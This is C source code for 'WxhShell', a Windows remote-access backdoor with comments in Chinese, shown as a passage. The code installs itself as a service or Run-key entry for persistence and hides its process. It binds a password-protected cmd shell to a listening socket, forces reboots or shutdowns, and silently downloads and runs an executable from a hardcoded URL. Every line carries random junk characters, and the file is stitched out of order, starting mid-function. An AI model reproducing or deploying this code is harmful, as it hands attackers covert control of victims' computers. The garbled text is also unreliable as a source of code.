    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `R:p-"'b  
    else { *6uZ"4rb.  
    closesocket(wsh); R7axm<PR=  
    ExitThread(0); =fA* b  
    } ?M2#fD]e  
    break; !&4<"wQ  
    } "XQj ~L  
  // 获取shell K5X,J/n  
  case 's': { O7r<6(q(  
    CmdShell(wsh); 9[.vtk\iyH  
    closesocket(wsh); 7+^9"k7  
    ExitThread(0); F<SCW+>z2a  
    break; ma4Pmk  
  } Om #m":  
  // 退出 5:[<pY!s#  
  case 'x': { ^@W98_bd;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *5KV DOd  
    CloseIt(wsh); }Ej^M~Vv  
    break; 00s&<EM  
    } )na 8a!  
  // 离开 7PE3>cD  
  case 'q': { Vq[L4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GJlkEWs  
    closesocket(wsh); %4X#|22n  
    WSACleanup(); < H1+qN=]`  
    exit(1); iq s  
    break; ~~J xw ]  
        } &+t! LM  
  } w.s-T.5.j  
  } MDETAd  
\ ) H}  
  // 提示信息 NpS*]vSO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +<cvyg5U  
} 8NY $Iw  
  } 9rhIDA(wc  
N^,@s"g  
  return; w]n ,`r^  
} %3v:c|r  
G/Ll4 :  
// shell模块句柄 B+e$S%HV  
int CmdShell(SOCKET sock) u$T`Bn  
{ Vp3r  
STARTUPINFO si; |Ld/{&Qr  
ZeroMemory(&si,sizeof(si)); vfb~S~|U6g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z}XmRc_Ko  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <hG=0Zcr  
PROCESS_INFORMATION ProcessInfo; KIt:ytFx  
char cmdline[]="cmd"; Vs>/q:I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UsT+o  
  return 0; ?sF<L/P0 F  
} Koh`|]N  
@8[3 ]<  
// 自身启动模式 :]?y,e%xu,  
int StartFromService(void) UclQo~ 3  
{ NZUQ R`5  
typedef struct zj G>=2  
{ t\[aU\4-7  
  DWORD ExitStatus; Rg/*)SKj  
  DWORD PebBaseAddress; <28L\pdG`  
  DWORD AffinityMask; kbij Zj{  
  DWORD BasePriority; [c6I/U=-  
  ULONG UniqueProcessId; Q/e$Ttt4J  
  ULONG InheritedFromUniqueProcessId; )ZkQWiP-  
}   PROCESS_BASIC_INFORMATION; BIx Z4Ft  
>s\j/yM  
PROCNTQSIP NtQueryInformationProcess; KEfn$\  
ujF*'*@\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l=jfgsjc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &?.k-:iN  
E_VLI'Hn?  
  HANDLE             hProcess; .gmNE$d  
  PROCESS_BASIC_INFORMATION pbi; J N5<=x5r  
6mH0|:CsY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7nh,j <~;2  
  if(NULL == hInst ) return 0; ] i;xeo,  
.(!> *ka|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U p1&(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y1DP`Ro  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f< A@D"m/  
A0x"Etbw)  
  if (!NtQueryInformationProcess) return 0; |T53m;D  
9Q 4m9}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >eHSbQu/Bu  
  if(!hProcess) return 0; zE"ME*ou  
} Qjp,(ye  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 76i)m!  
Nr.maucny  
  CloseHandle(hProcess); b_Us%{  
CTu#KJ?j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I`%\ "bF@  
if(hProcess==NULL) return 0; A aLj.HR  
8= jl]q$<  
HMODULE hMod; vR m.# +Td  
char procName[255]; x"kc:F  
unsigned long cbNeeded; uo`O$k<;  
Mx,QgYSu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h-rPLU;Bw  
w6F'rsko]  
  CloseHandle(hProcess); FU-YI"  
;aA,H&   
if(strstr(procName,"services")) return 1; // 以服务启动 ZVo%ssVt  
chjXsq#Q^  
  return 0; // 注册表启动 -eKi}e  
} FI,>v`  
*Vk%"rwaG  
// 主模块 xFZA1 8  
int StartWxhshell(LPSTR lpCmdLine) PCl@Ff  
{ Vmj7`w&  
  SOCKET wsl; % j],6wW5J  
BOOL val=TRUE; L%,tc~)A  
  int port=0; np|3 os  
  struct sockaddr_in door; r3a$n$Qw  
4@6!E^  
  if(wscfg.ws_autoins) Install(); }kg?A oo  
2#z6=M~A  
port=atoi(lpCmdLine); Y 9rW_m@B  
lWj|7  
if(port<=0) port=wscfg.ws_port; LM:|Kydp3  
K/;FP'.  
  WSADATA data; -!E))|A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 74*1|S <  
}]w/`TF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r3X|*/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); as\6XW$;Q  
  door.sin_family = AF_INET; b2;+a(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k/+-Tq;  
  door.sin_port = htons(port); u|m>h(O  
[n/'JeG5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fFD:E} >5  
closesocket(wsl); ?haN ;n6'  
return 1; Y40Hcc+Fx  
} k%w5V>]1  
G #.(% ,  
  if(listen(wsl,2) == INVALID_SOCKET) { ` aTkIo:ms  
closesocket(wsl); V|.3Z\(  
return 1; rM6^pzxe  
} (g2?&b iuz  
  Wxhshell(wsl); K5U=%z  
  WSACleanup(); 0RY{y n3  
JZ6{W  
return 0; a/ !!Y@7  
b#p)bcz!I  
} B9`^JYT<  
=|IB=  
// 以NT服务方式启动 g+8j$w}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xEBiBsk d  
{ V$u~}]z  
DWORD   status = 0; ~2xC.DF_N  
  DWORD   specificError = 0xfffffff; Pf s_s6  
*0ZL@Kw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M/GQQG;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; olPV"<;+pO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =w HU*mK  
  serviceStatus.dwWin32ExitCode     = 0; 2XJn3wPi  
  serviceStatus.dwServiceSpecificExitCode = 0; .uzg2Kd_  
  serviceStatus.dwCheckPoint       = 0; ]_NN,m>z  
  serviceStatus.dwWaitHint       = 0; "oZ]/(  
%FnaS u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m%ZJp7C  
  if (hServiceStatusHandle==0) return; J_tj9+r^  
D*+uH;ws  
status = GetLastError(); " @!z+x[8  
  if (status!=NO_ERROR) XHu Y'\;-  
{ g ]|K@sm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j""I,$t  
    serviceStatus.dwCheckPoint       = 0; )5Yv7x(K  
    serviceStatus.dwWaitHint       = 0; Z5juyzj  
    serviceStatus.dwWin32ExitCode     = status; 7sECbbJT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5Cxh >,k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Y@rNmBj  
    return; &Im{p7gf!b  
  } ")|3ZB7>*  
m7X&"0X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j:D@X=|  
  serviceStatus.dwCheckPoint       = 0; QC.WR'.  
  serviceStatus.dwWaitHint       = 0; p2}$S@GD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <,qJ% kc  
} dzDh V{  
I}/o`oc  
// 处理NT服务事件,比如:启动、停止 G v[W)+3f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'Im7^!-d  
{ PbOLN$hP  
switch(fdwControl) 9`}Wp2  
{ [\CQ_qs|  
case SERVICE_CONTROL_STOP: Ms5m.lX  
  serviceStatus.dwWin32ExitCode = 0; 6U;pYWht  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X1U7$/t  
  serviceStatus.dwCheckPoint   = 0; =jdO2MgSg*  
  serviceStatus.dwWaitHint     = 0; ^,zE Nqg7  
  { q q}EXq^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {<~0nLyJS  
  } }J .f 5WaG  
  return; a,o)i8G9R<  
case SERVICE_CONTROL_PAUSE: nd 'K4q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2V(ye9  
  break; LLv~yS O  
case SERVICE_CONTROL_CONTINUE: :kSA^w8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D+{h@^C9Z  
  break; ?&Si P-G  
case SERVICE_CONTROL_INTERROGATE: JDv7jy  
  break; K[RlR+j  
}; xP 3_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S/-[OA>N  
} TkhbnO g6  
>T{9-_#P  
// 标准应用程序主函数 Tz.!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $Tu%dE(OF  
{ wVk2Fr(  
]k Ls2? \  
// 获取操作系统版本 0-"ps]X  
OsIsNt=GetOsVer(); G1M}g8 ]h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =O~1L m;  
P0U=lj/ b  
  // 从命令行安装 x8%Q TTY  
  if(strpbrk(lpCmdLine,"iI")) Install(); }xTTz,Oj$  
|33pf7o  
  // 下载执行文件 j>~^jz:  
if(wscfg.ws_downexe) { uy\< t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T/G1v;]  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mj |)KDL  
} Ixm< wKwW#  
{:40Jf  
if(!OsIsNt) { qF=D,Dlz  
// 如果时win9x,隐藏进程并且设置为注册表启动 [oOZ6\?HB  
HideProc(); x!bFbi#!"  
StartWxhshell(lpCmdLine); ?KpHvf'  
} !o~% F5|t  
else V1Dwh@iS  
  if(StartFromService()) (:E_m|00;  
  // 以服务方式启动 y %Get  
  StartServiceCtrlDispatcher(DispatchTable); W >eJGZ<  
else b_-ESs]g  
  // 普通方式启动 +<6L>ZAL  
  StartWxhshell(lpCmdLine); STu!v5XY}-  
g[Ah> 5  
return 0; ;[WW,,!Y  
} %@q52ZQ  
tu6oa[s  
RL |.y~  
9Q- /Yh  
=========================================== 3 D,PbAd  
J]i=SX+ 9  
cv;&ff2%?  
4]nU%`Z1w  
<.( IJ  
Yo;/7gG>  
" OQaM47"  
c#nFm&}dm  
#include <stdio.h> kCxmC<34  
#include <string.h> 'p-jMD}O  
#include <windows.h> dgpo4'c}  
#include <winsock2.h> s`xp6\$  
#include <winsvc.h> E-_)w  
#include <urlmon.h> '{XDhK  
:k8>)x] )  
#pragma comment (lib, "Ws2_32.lib") *MW)APw=  
#pragma comment (lib, "urlmon.lib") UBuk-tq  
,WA7Kp9  
#define MAX_USER   100 // 最大客户端连接数 1"A1bK  
#define BUF_SOCK   200 // sock buffer 3sc5meSu'  
#define KEY_BUFF   255 // 输入 buffer G40,KCa  
NUiZ!&  
#define REBOOT     0   // 重启 n )YNt  
#define SHUTDOWN   1   // 关机 cyA|6Ltg%  
CeS8I-,  
#define DEF_PORT   5000 // 监听端口 }!\NdQs  
E4[ |=<  
#define REG_LEN     16   // 注册表键长度 Xhtc0\0"(  
#define SVC_LEN     80   // NT服务名长度 *c7kB}/  
%]nY v#K  
// 从dll定义API D|Wekhm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]B=B@UO@.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <(`dU&&%"}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )5gcLD/zI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |\@e  
?{%P9I  
// wxhshell配置信息 meu\jg  
struct WSCFG { "RuJlp  
  int ws_port;         // 监听端口 i;lzFu )G  
  char ws_passstr[REG_LEN]; // 口令 |vz< FR6  
  int ws_autoins;       // 安装标记, 1=yes 0=no _IOeO  
  char ws_regname[REG_LEN]; // 注册表键名 &+6XdhX  
  char ws_svcname[REG_LEN]; // 服务名 \c/jp5=}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k#R}^Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %75|+((fC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 znhe]&Fw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ma@ws,H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <M nzR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6#vD>@H  
yw"FI!M  
}; >WE3$Q>bi  
>4}+\ Q`S  
// default Wxhshell configuration Bk a\0+  
struct WSCFG wscfg={DEF_PORT, _X;^'mqf~  
    "xuhuanlingzhe", LdI)  
    1, iq,qf)BY.|  
    "Wxhshell", w_@N T}  
    "Wxhshell", VE4!=4  
            "WxhShell Service", ,=B "%=S  
    "Wrsky Windows CmdShell Service", 'cy35M  
    "Please Input Your Password: ", -'BJhi\Y]~  
  1, O7ceSz  
  "http://www.wrsky.com/wxhshell.exe", [Av87!kJ!X  
  "Wxhshell.exe" !vfjo[v  
    }; ySP1WK  
uljd)kLy4O  
// 消息定义模块 Gv>,Ad ka  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sd' uXX@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _7~O>.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VF!?B>  
char *msg_ws_ext="\n\rExit."; |!8[Vg^Wh  
char *msg_ws_end="\n\rQuit."; jC ,foqL  
char *msg_ws_boot="\n\rReboot..."; 4pV.R5:  
char *msg_ws_poff="\n\rShutdown..."; tvP_LNMF  
char *msg_ws_down="\n\rSave to "; 5Ft bZ1L  
K8Gc5#OF  
char *msg_ws_err="\n\rErr!"; |@]J*Kh  
char *msg_ws_ok="\n\rOK!"; =+~e44!~D  
bM_Y(TgJ  
char ExeFile[MAX_PATH]; f% ZqK_CW  
int nUser = 0; [0yKd?e  
HANDLE handles[MAX_USER]; hEsCOcEG  
int OsIsNt; YZ:YYcr  
C/"fS#<  
SERVICE_STATUS       serviceStatus; w4:S>6X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]p(+m_F  
epCU(d*b  
// 函数声明 x?KgEcnw2X  
int Install(void); {2R b^K  
int Uninstall(void); %*e6@Hm  
int DownloadFile(char *sURL, SOCKET wsh); ?,%vndI  
int Boot(int flag); )s,L:{<  
void HideProc(void); !~04^(  
int GetOsVer(void); p&B98c  
int Wxhshell(SOCKET wsl); &zlwV"W  
void TalkWithClient(void *cs); UA>~xJp=  
int CmdShell(SOCKET sock); 6/hY[a!  
int StartFromService(void); i&-g 0  
int StartWxhshell(LPSTR lpCmdLine); n*CH,fih:  
ylLQKdcL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8/U=~*` _  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'I($IM  
vvv~n ]S6  
// 数据结构和表定义 T2Z;)e$m_  
SERVICE_TABLE_ENTRY DispatchTable[] = ]G1{@r)  
{ apF!@O^}y  
{wscfg.ws_svcname, NTServiceMain}, AW&HWc~A  
{NULL, NULL} I7 pxi$8f  
}; bsC~ 2S\o  
Km8btS]n  
// 自我安装 I.Co8is  
int Install(void) TOn{o}Y B  
{ " _jIqj6C  
  char svExeFile[MAX_PATH]; 8;P8CKe  
  HKEY key; 'M|W nR  
  strcpy(svExeFile,ExeFile); SWD v\Vr  
@R9zLL6#7  
// 如果是win9x系统,修改注册表设为自启动 ^HLi1w|  
if(!OsIsNt) { Z6!MX_ep  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UA!h[+Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D5\$xdlJy  
  RegCloseKey(key); dD1`[%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Xh/16X${  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); chQt8Ar3  
  RegCloseKey(key); S6h=} V )  
  return 0; e-,U@_B  
    } .S`Ue,H  
  } "Fy34T0N  
} >J[g)$,  
else { >"f,'S5*  
BXO(B'1)]  
// 如果是NT以上系统,安装为系统服务 VE& ?Zd~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >{~W"  
if (schSCManager!=0) =<_xUh.  
{ Ra'0 ^4t  
  SC_HANDLE schService = CreateService K0@2>nR  
  ( G`ZpFg0Y  
  schSCManager, ve.iyr  
  wscfg.ws_svcname, 8U/q3@EC  
  wscfg.ws_svcdisp, ^*`{W4e]  
  SERVICE_ALL_ACCESS, bEV 9l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z 7t0=U  
  SERVICE_AUTO_START, mAhtC*  
  SERVICE_ERROR_NORMAL, 7fLLV2  
  svExeFile, mk~i (Ee  
  NULL, K%Mm'$fTw  
  NULL, WiH%URFB  
  NULL, -TU7GCb=  
  NULL, Nb>|9nu O  
  NULL %:h)8e-;  
  ); w (W+Y+up  
  if (schService!=0) gAhCNOp  
  { %RL\t5 TV  
  CloseServiceHandle(schService); Nm--h$G  
  CloseServiceHandle(schSCManager); _J 6|ju\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @b=tjQO_  
  strcat(svExeFile,wscfg.ws_svcname); 5`{+y]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5z~Ji77!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FAjO-T4(  
  RegCloseKey(key); ZD6rD (l9  
  return 0; _b<Fz`V  
    } $JypVA(CX  
  } p^&' C_?  
  CloseServiceHandle(schSCManager); Cfyas'  
} |VB}Kv  
} /R^HRzTO  
! W$ u~z  
return 1; ') 5W  
} IPbdX@FeV  
rFM`ne<zh  
// 自我卸载 Cnd*%CPZ  
int Uninstall(void) Z@nM\/vLA  
{ )F0 _V 4  
  HKEY key; 'X_iiR8n@p  
 @zEEX9U  
if(!OsIsNt) { Y$--Hp4   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c,Zs. kC  
  RegDeleteValue(key,wscfg.ws_regname); "6~pTHT  
  RegCloseKey(key); U> (5J,G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7OS\j>hb~  
  RegDeleteValue(key,wscfg.ws_regname); uTpKT7t  
  RegCloseKey(key); 79~,KFct  
  return 0; I}p uN!  
  } Xj&{M[k<  
} 7$z")JB  
} V,<,;d fR  
else { +e)So+.W  
qlIC{:E0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G&0&*mp  
if (schSCManager!=0) LXVm0IOFF  
{ gT<E4$I69  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M/5/Tp  
  if (schService!=0) owCQ71Q  
  { aP!a?xq  
  if(DeleteService(schService)!=0) { A]Zp1XEG  
  CloseServiceHandle(schService); ndOPD]A'  
  CloseServiceHandle(schSCManager); U_ V0  
  return 0; 8d-; ;V  
  } 25l6@7q.  
  CloseServiceHandle(schService); +>.plvZhu  
  } fNFdZ[qOd  
  CloseServiceHandle(schSCManager); ,yWTk ql  
} ?6p6OB  
} eE>3=1d]w  
jm =E_86_  
return 1; \_!FOUPz(  
} E(4ti]'4  
jHT4I>\  
// 从指定url下载文件 YUF!Y9!  
int DownloadFile(char *sURL, SOCKET wsh) R 9o:{U]  
{ F] +t/  
  HRESULT hr; +#6WORH0S  
char seps[]= "/"; Umm_FEU#]  
char *token; %bt2^  
char *file; MKJ9PcVi  
char myURL[MAX_PATH]; pCb@4n b  
char myFILE[MAX_PATH]; 1#^[{XlAx  
Qf414 oW  
strcpy(myURL,sURL); Nn ?BD4i  
  token=strtok(myURL,seps); o2 W pi  
  while(token!=NULL) +IuV8XT2(  
  { k!xi (l<C  
    file=token; zek\AQN  
  token=strtok(NULL,seps); ,4NvD2Y  
  } ba% [!  
L:`|lc=^  
GetCurrentDirectory(MAX_PATH,myFILE); U# -&%|b$  
strcat(myFILE, "\\"); ~1S7\e7{  
strcat(myFILE, file); itm;,Sbg  
  send(wsh,myFILE,strlen(myFILE),0); l'W?X '  
send(wsh,"...",3,0); 3SpDV'}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FMwT4]y  
  if(hr==S_OK) &m5WmEz>`  
return 0; ]RPv@z:V  
else +; C|5y  
return 1; tW|B\p}  
&& ecq   
} |}es+<P  
-v&Q 'a  
// 系统电源模块 MCurKT<pQ  
int Boot(int flag) 1ScfX\ F=  
{ BNyDEFd  
  HANDLE hToken; nv{ou [vQ  
  TOKEN_PRIVILEGES tkp; L -b~#  
u,PrEmy-  
  if(OsIsNt) { m,K\e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RL~\/#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #Jy+:|jJ  
    tkp.PrivilegeCount = 1; /_*:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q .tVNKy%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w6Dysg:  
if(flag==REBOOT) { [^"e~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L0UAS'hf  
  return 0; -njxc{b  
} vO]gj/SaT  
else { UldKlQ8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (^qcX;-  
  return 0; ]}ff*W  
} pP{b!1  
  } x)BG%{h  
  else { -hQ=0h~\B.  
if(flag==REBOOT) { ~SV;"e2N.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g|"z'_  
  return 0; O~">-'f  
} A7VF >{L./  
else { 5G(y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  O5_[T43  
  return 0; @`%.\_  
} `gfK#0x#  
} xtpD/,2  
mrFMdpaHl%  
return 1; Kl(}s{YFn.  
} r\@"({q}_-  
d^ipf*aLC  
// win9x进程隐藏模块 DQ9 <N~l  
void HideProc(void) |g8 ]WFc  
{ g\rujxHlH  
PA`b~Ct  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jd]MC*%  
  if ( hKernel != NULL ) "N4c>2Q  
  { xqP0Z) ,Ow  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BAzc'x&<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gg5vf]VFo  
    FreeLibrary(hKernel); & Radpb2p6  
  } FE M_7M  
QHP^1W`  
return; gJs~kQU  
} `'0opoQRe  
Y)BKRS~  
// 获取操作系统版本 5kC#uk  
int GetOsVer(void) t,k9:p  
{ D@DK9?#  
  OSVERSIONINFO winfo; dH?pQ   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uBl&|yvxB  
  GetVersionEx(&winfo); b.YQN'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k^R>xV  
  return 1; vk{4:^6.TV  
  else )byQ=-< 1  
  return 0; jG)>{D  
} _'2r=a#`  
A<>W^ow  
// 客户端句柄模块 o }Tv^>L  
int Wxhshell(SOCKET wsl) ~{2@-qcm  
{ ,LcMNPr  
  SOCKET wsh; SB$~Btr  
  struct sockaddr_in client; *aG0p&n}  
  DWORD myID; EnwiE  
8Yb/ c*  
  while(nUser<MAX_USER) ~\ie/}zYj  
{ ip1jY!   
  int nSize=sizeof(client); bpUN8BI[T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;pAkdX&b  
  if(wsh==INVALID_SOCKET) return 1; ^$?8!WE  
lD/+LyTa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); | @di<d@  
if(handles[nUser]==0) J3$`bK6F6  
  closesocket(wsh); HK2`.'D  
else y)s/\l&  
  nUser++; ;R 2(Gb  
  } C$,S#n@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nr s!e  
E62*J$wN@  
  return 0; TuaT-Z~U{  
} zYls>fbp,  
r9b`3yr=  
// 关闭 socket K''b)v X4  
void CloseIt(SOCKET wsh) SG43}  
{ )>TA|W]@  
closesocket(wsh); !u7WCw.Dm  
nUser--; _`D760q}  
ExitThread(0); ef!I |.FW  
} UAcABL^2  
0;k3  
// 客户端请求句柄 ZQ~?  
void TalkWithClient(void *cs) $1Xg[>1g5  
{ b[*d i{?-  
AiO,zjM=  
  SOCKET wsh=(SOCKET)cs; i"_f46r P  
  char pwd[SVC_LEN]; b~#rUOXb8?  
  char cmd[KEY_BUFF]; hR= 4w$  
char chr[1]; 4SG[_:+!  
int i,j; 72v 9S T  
!knYD}Rxd  
  while (nUser < MAX_USER) { %>JqwMK  
NugJjd56x  
if(wscfg.ws_passstr) { 4pc=MR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *YtITyDS3>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 _&oMPY  
  //ZeroMemory(pwd,KEY_BUFF); `bH Eu"(,  
      i=0; uQ8]j.0  
  while(i<SVC_LEN) { :+-s7'!4  
mtTJm4  
  // 设置超时 _a.Q@A4'  
  fd_set FdRead; *qpmI9m  
  struct timeval TimeOut; !r[uwJ=  
  FD_ZERO(&FdRead); i uN8gHx  
  FD_SET(wsh,&FdRead); 08.dV<P  
  TimeOut.tv_sec=8; d6M d~$R  
  TimeOut.tv_usec=0; cDAO5^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $"_D"/*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z ,T TI>P  
=x[`W9.D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hob%'Y5%D  
  pwd=chr[0]; V}aXS;(r%  
  if(chr[0]==0xd || chr[0]==0xa) { wz:wR+  
  pwd=0; i 5_g z>  
  break; d[O.UzQ  
  } =Wl CE_  
  i++; ;zh|*F>  
    } 3J:!8Gmk  
P@*whjPmo  
  // 如果是非法用户,关闭 socket M rVtxzH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fY-{,+ `'  
} &}P62&  
!{ )H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M)|}Vn;!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b,{?+8  
V qYe0-^=P  
while(1) { cdEZ Y  
q@^=im  
  ZeroMemory(cmd,KEY_BUFF); e|{6^g<ru  
Xw![}L >  
      // 自动支持客户端 telnet标准   7H./o Vl  
  j=0; hd^?svID  
  while(j<KEY_BUFF) { xkqt(ng(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z7%>O:@z  
  cmd[j]=chr[0]; `aSz"4Wd  
  if(chr[0]==0xa || chr[0]==0xd) { Ag?@fuk$J  
  cmd[j]=0; y~W6DL}  
  break; -4V1s;QUZ  
  } 98V9AOgk  
  j++; ~rKo5#D  
    } <k^h&1J#g  
ob0clJX  
  // 下载文件 f PDnkr  
  if(strstr(cmd,"http://")) { *;4r|# LG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZA:YoiaC#  
  if(DownloadFile(cmd,wsh)) rL_AqSGAK1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 67J=#%\  
  else rJg! 2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ai /a y# E  
  } `cf&4Hn  
  else { kw1PIuz4&  
< FN[{YsA  
    switch(cmd[0]) { ! .!qJ%  
  C96|T>bk  
  // 帮助 <.=   
